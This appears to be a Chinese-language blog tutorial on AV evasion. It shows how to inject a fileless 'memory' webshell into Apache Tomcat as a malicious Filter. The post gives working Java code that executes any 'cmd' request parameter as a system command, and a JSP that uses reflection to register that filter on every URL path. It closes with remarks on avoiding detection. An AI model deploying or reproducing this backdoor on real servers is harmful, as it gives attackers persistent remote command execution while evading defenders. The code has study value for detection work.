【免殺技術】Tomcat記憶體馬-Filter

M發表於2022-02-04

Tomcat記憶體馬-Filter型

什麼是記憶體馬?為什麼要有記憶體馬?什麼又是Filter型記憶體馬?這些問題在此就不做贅述

Filter載入流程分析

tomcat啟動後正常情況下對於Filter的處理過程:

  • 載入web.xml配置檔案
  • 讀取filter的資訊,並將其儲存在context物件裡的filterDef,filterConfigs,filterMappers中
  • filterChain的構造流程:1. 匹配請求路徑,找到對應的filter 2. 將匹配的filter加入filterChain中 3.執行filterChain

利用jsp檔案完成動態註冊惡意filter

需要解決的問題

  • 怎麼獲取context物件
  • 利用動態載入,如何修改filterConfigs,filterDefs,filterMaps,將惡意filter插入。

惡意Filter物件

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("新增");
        String cmd = servletRequest.getParameter("cmd");
        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
        while(true) {
            String tmp = null;
            if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
                servletResponse.getOutputStream().print(tmp);
            }else{
                break;
            }
        }
        return;
    }

在這裡可以jsp進行注入

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
    <center><h1>Dynamic Memory-Type Horse</h1></center>
</body>
</html>

<%
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext();

    if(context.findFilterDef("Filter_new")==null){
        //2.配置過濾器並初始化FilterDef
        String newFilterName = "Filter_new";
        String newFilterClass = "sec.aur0ra.filter.Filter";

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(newFilterName);
        filterDef.setFilterClass(newFilterClass);

        //3. 註冊FilterDef
        context.addFilterDef(filterDef);

        //4. 建立並註冊FilterMap物件
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("Filter_new");
        filterMap.addURLPattern("/*");

        context.addFilterMapBefore(filterMap);
        //context.addFilterMap(filterMap);

        //5. 新增FilterConfig
        Constructor constructor = null;
        try {
            //獲取FilterConfigs物件
            Field Configs = context.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(context);

            constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef);

            filterConfigs.put(newFilterName, filterConfig);
        } catch (Exception e){
            ;
        }

    }
    FilterMap[] filterMaps = context.findFilterMaps();
    System.out.println("註冊成功");
%>

在這裡利用執行緒資訊獲取context。獲取context物件的方式還有通過request物件進行獲取等

直接訪問惡意jsp檔案
image

惡意的filter已經被成功注入

再訪問正常介面
image

訪問成功,說明記憶體?成功注入。報錯只是因為沒有傳參,所以報錯不一定代表壞訊息

傳參cmd
image

可能遇到的問題

filterDef,filterConfigs,filterMappers中未新增全對應的資訊

小結

可以看到,這裡已經成功註冊了Filter記憶體馬。EvilFilter的物件可以傳位元組碼進去,但還是免不了藉助了jsp檔案,雖然後面可以刪除,但還是會有檔案記錄,自然也就容易被查殺。利用反序列化執行程式碼?後續再學習吧

相關文章